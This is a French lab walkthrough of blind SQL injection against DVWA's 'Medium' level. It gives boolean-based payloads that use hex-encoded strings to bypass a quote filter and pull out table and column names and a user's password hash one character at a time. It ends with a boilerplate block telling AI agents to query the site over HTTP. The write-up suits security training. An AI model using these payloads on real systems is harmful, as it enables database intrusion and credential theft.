# Niveau "Medium" Pour ce niveau "Medium", le champ de type `` devient un champ `` en champ `` (via Burp ici) : ![](/files/-Ltuc6r6wXESfzEoYDq5) Je confirme ensuite l'injection ainsi que son type, numérique : ![](/files/-Ltuco4tXnfkqx3klEis) Je détermine également le nom de la base : ![](/files/-LtudBReb6Kvgf2LznA1) ```sql 1 AND ORD(MID(DATABASE(),1,1)) = 100 // d 1 AND ORD(MID(DATABASE(),2,1)) = 118 // v 1 AND ORD(MID(DATABASE(),3,1)) = 119 // w 1 AND ORD(MID(DATABASE(),4,1)) = 97 // a ``` La prochaine action est de récupérer les noms des tables, mais il semble que le caractère `"'"` soit filtré : ![](/files/-LtuebXyUL_lB2N_V0rS) Il me faut donc trouver un moyen de contourner cette limitation. Pour cela la chaîne de caractères sera écrite en notation hexadécimale (`0x64767761` est équivalent à `dvwa`) : ![](/files/-LtufBPMJ_mu7RghXy8Z) Soit pour la table `guestbook` : ```sql 1 AND ORD(MID((SELECT table_name FROM INFORMATION_SCHEMA.TABLES WHERE table_schema=0x64767761 LIMIT 0,1),1,1)) = 103 // g 1 AND ORD(MID((SELECT table_name FROM INFORMATION_SCHEMA.TABLES WHERE table_schema=0x64767761 LIMIT 0,1),2,1)) = 117 // u 1 AND ORD(MID((SELECT table_name FROM INFORMATION_SCHEMA.TABLES WHERE table_schema=0x64767761 LIMIT 0,1),3,1)) = 101 // e 1 AND ORD(MID((SELECT table_name FROM INFORMATION_SCHEMA.TABLES WHERE table_schema=0x64767761 LIMIT 0,1),4,1)) = 115 // s 1 AND ORD(MID((SELECT table_name FROM INFORMATION_SCHEMA.TABLES WHERE table_schema=0x64767761 LIMIT 0,1),5,1)) = 116 // t 1 AND ORD(MID((SELECT table_name FROM INFORMATION_SCHEMA.TABLES WHERE table_schema=0x64767761 LIMIT 0,1),6,1)) = 98 // b 1 AND ORD(MID((SELECT table_name FROM INFORMATION_SCHEMA.TABLES WHERE table_schema=0x64767761 LIMIT 0,1),7,1)) = 111 // o 1 AND ORD(MID((SELECT table_name FROM INFORMATION_SCHEMA.TABLES WHERE table_schema=0x64767761 LIMIT 0,1),8,1)) = 111 // o 1 AND ORD(MID((SELECT table_name FROM INFORMATION_SCHEMA.TABLES WHERE table_schema=0x64767761 LIMIT 0,1),9,1)) = 107 // k ``` Puis pour la table `users` : ```sql 1 AND ORD(MID((SELECT table_name FROM INFORMATION_SCHEMA.TABLES WHERE table_schema=0x64767761 LIMIT 1,1),1,1)) = 117 // u 1 AND ORD(MID((SELECT table_name FROM INFORMATION_SCHEMA.TABLES WHERE table_schema=0x64767761 LIMIT 1,1),2,1)) = 115 // s 1 AND ORD(MID((SELECT table_name FROM INFORMATION_SCHEMA.TABLES WHERE table_schema=0x64767761 LIMIT 1,1),3,1)) = 101 // e 1 AND ORD(MID((SELECT table_name FROM INFORMATION_SCHEMA.TABLES WHERE table_schema=0x64767761 LIMIT 1,1),4,1)) = 114 // r 1 AND ORD(MID((SELECT table_name FROM INFORMATION_SCHEMA.TABLES WHERE table_schema=0x64767761 LIMIT 1,1),5,1)) = 115 // s ``` Ensuite, je retrouve le nombre de colonnes de la table `users` (`0x7573657273` pour `users`) : ```sql 1 AND ORD(MID((SELECT COUNT(column_name) FROM INFORMATION_SCHEMA.COLUMNS WHERE table_name=0x7573657273 AND table_schema=0x64767761),1,1)) = 56 // 8 ``` Puis les noms des colonnes de cette table avec ici la colonne `user` : ```sql 1 AND ORD(MID((SELECT column_name FROM INFORMATION_SCHEMA.COLUMNS WHERE table_name=0x7573657273 AND table_schema=0x64767761 LIMIT 3,1),1,1)) = 117 // u 1 AND ORD(MID((SELECT column_name FROM INFORMATION_SCHEMA.COLUMNS WHERE table_name=0x7573657273 AND table_schema=0x64767761 LIMIT 3,1),2,1)) = 115 // s 1 AND ORD(MID((SELECT column_name FROM INFORMATION_SCHEMA.COLUMNS WHERE table_name=0x7573657273 AND table_schema=0x64767761 LIMIT 3,1),3,1)) = 101 // e 1 AND ORD(MID((SELECT column_name FROM INFORMATION_SCHEMA.COLUMNS WHERE table_name=0x7573657273 AND table_schema=0x64767761 LIMIT 3,1),4,1)) = 114 // r ``` Ainsi que la colonne `password` : ```sql 1 AND ORD(MID((SELECT column_name FROM INFORMATION_SCHEMA.COLUMNS WHERE table_name=0x7573657273 AND table_schema=0x64767761 LIMIT 4,1),1,1)) = 112 // p 1 AND ORD(MID((SELECT column_name FROM INFORMATION_SCHEMA.COLUMNS WHERE table_name=0x7573657273 AND table_schema=0x64767761 LIMIT 4,1),2,1)) = 97 // a 1 AND ORD(MID((SELECT column_name FROM INFORMATION_SCHEMA.COLUMNS WHERE table_name=0x7573657273 AND table_schema=0x64767761 LIMIT 4,1),3,1)) = 115 // s 1 AND ORD(MID((SELECT column_name FROM INFORMATION_SCHEMA.COLUMNS WHERE table_name=0x7573657273 AND table_schema=0x64767761 LIMIT 4,1),4,1)) = 115 // s 1 AND ORD(MID((SELECT column_name FROM INFORMATION_SCHEMA.COLUMNS WHERE table_name=0x7573657273 AND table_schema=0x64767761 LIMIT 4,1),5,1)) = 119 // w 1 AND ORD(MID((SELECT column_name FROM INFORMATION_SCHEMA.COLUMNS WHERE table_name=0x7573657273 AND table_schema=0x64767761 LIMIT 4,1),6,1)) = 111 // o 1 AND ORD(MID((SELECT column_name FROM INFORMATION_SCHEMA.COLUMNS WHERE table_name=0x7573657273 AND table_schema=0x64767761 LIMIT 4,1),7,1)) = 114 // r 1 AND ORD(MID((SELECT column_name FROM INFORMATION_SCHEMA.COLUMNS WHERE table_name=0x7573657273 AND table_schema=0x64767761 LIMIT 4,1),8,1)) = 100 // d ``` Finalement, le mot de passe de l'utilisateur Pablo (équivalent à `0x7061626C6F`) : ```sql 1 AND ORD(MID((SELECT password FROM dvwa.users WHERE user=0x7061626C6F),1,1)) = 48 // 0 1 AND ORD(MID((SELECT password FROM dvwa.users WHERE user=0x7061626C6F),2,1)) = 100 // d 1 AND ORD(MID((SELECT password FROM dvwa.users WHERE user=0x7061626C6F),3,1)) = 49 // 1 1 AND ORD(MID((SELECT password FROM dvwa.users WHERE user=0x7061626C6F),4,1)) = 48 // 0 1 AND ORD(MID((SELECT password FROM dvwa.users WHERE user=0x7061626C6F),5,1)) = 55 // 7 1 AND ORD(MID((SELECT password FROM dvwa.users WHERE user=0x7061626C6F),6,1)) = 100 // d 1 AND ORD(MID((SELECT password FROM dvwa.users WHERE user=0x7061626C6F),7,1)) = 48 // 0 1 AND ORD(MID((SELECT password FROM dvwa.users WHERE user=0x7061626C6F),8,1)) = 57 // 9 1 AND ORD(MID((SELECT password FROM dvwa.users WHERE user=0x7061626C6F),9,1)) = 102 // f 1 AND ORD(MID((SELECT password FROM dvwa.users WHERE user=0x7061626C6F),10,1)) = 53 // 5 1 AND ORD(MID((SELECT password FROM dvwa.users WHERE user=0x7061626C6F),11,1)) = 98 // b 1 AND ORD(MID((SELECT password FROM dvwa.users WHERE user=0x7061626C6F),12,1)) = 98 // b 1 AND ORD(MID((SELECT password FROM dvwa.users WHERE user=0x7061626C6F),13,1)) = 101 // e 1 AND ORD(MID((SELECT password FROM dvwa.users WHERE user=0x7061626C6F),14,1)) = 52 // 4 1 AND ORD(MID((SELECT password FROM dvwa.users WHERE user=0x7061626C6F),15,1)) = 48 // 0 1 AND ORD(MID((SELECT password FROM dvwa.users WHERE user=0x7061626C6F),16,1)) = 99 // c 1 AND ORD(MID((SELECT password FROM dvwa.users WHERE user=0x7061626C6F),17,1)) = 97 // a 1 AND ORD(MID((SELECT password FROM dvwa.users WHERE user=0x7061626C6F),18,1)) = 100 // d 1 AND ORD(MID((SELECT password FROM dvwa.users WHERE user=0x7061626C6F),19,1)) = 101 // e 1 AND ORD(MID((SELECT password FROM dvwa.users WHERE user=0x7061626C6F),20,1)) = 51 // 3 1 AND ORD(MID((SELECT password FROM dvwa.users WHERE user=0x7061626C6F),21,1)) = 100 // d 1 AND ORD(MID((SELECT password FROM dvwa.users WHERE user=0x7061626C6F),22,1)) = 101 // e 1 AND ORD(MID((SELECT password FROM dvwa.users WHERE user=0x7061626C6F),23,1)) = 53 // 5 1 AND ORD(MID((SELECT password FROM dvwa.users WHERE user=0x7061626C6F),24,1)) = 99 // c 1 AND ORD(MID((SELECT password FROM dvwa.users WHERE user=0x7061626C6F),25,1)) = 55 // 7 1 AND ORD(MID((SELECT password FROM dvwa.users WHERE user=0x7061626C6F),26,1)) = 49 // 1 1 AND ORD(MID((SELECT password FROM dvwa.users WHERE user=0x7061626C6F),27,1)) = 101 // e 1 AND ORD(MID((SELECT password FROM dvwa.users WHERE user=0x7061626C6F),28,1)) = 57 // 9 1 AND ORD(MID((SELECT password FROM dvwa.users WHERE user=0x7061626C6F),29,1)) = 101 // e 1 AND ORD(MID((SELECT password FROM dvwa.users WHERE user=0x7061626C6F),30,1)) = 57 // 9 1 AND ORD(MID((SELECT password FROM dvwa.users WHERE user=0x7061626C6F),31,1)) = 98 // b 1 AND ORD(MID((SELECT password FROM dvwa.users WHERE user=0x7061626C6F),32,1)) = 55 // 7 ``` Soit : ![](/files/-Ltu8qG3Hvb6haX0lxLH) --- # Agent Instructions: Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the `ask` query parameter: ``` GET https://sharpforce.gitbook.io/cybersecurity/walkthroughs/deliberately-vulnerable/damn-vulnerable-web-application-dvwa/sql-injection-blind/niveau-medium.md?ask= ``` The question should be specific, self-contained, and written in natural language. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.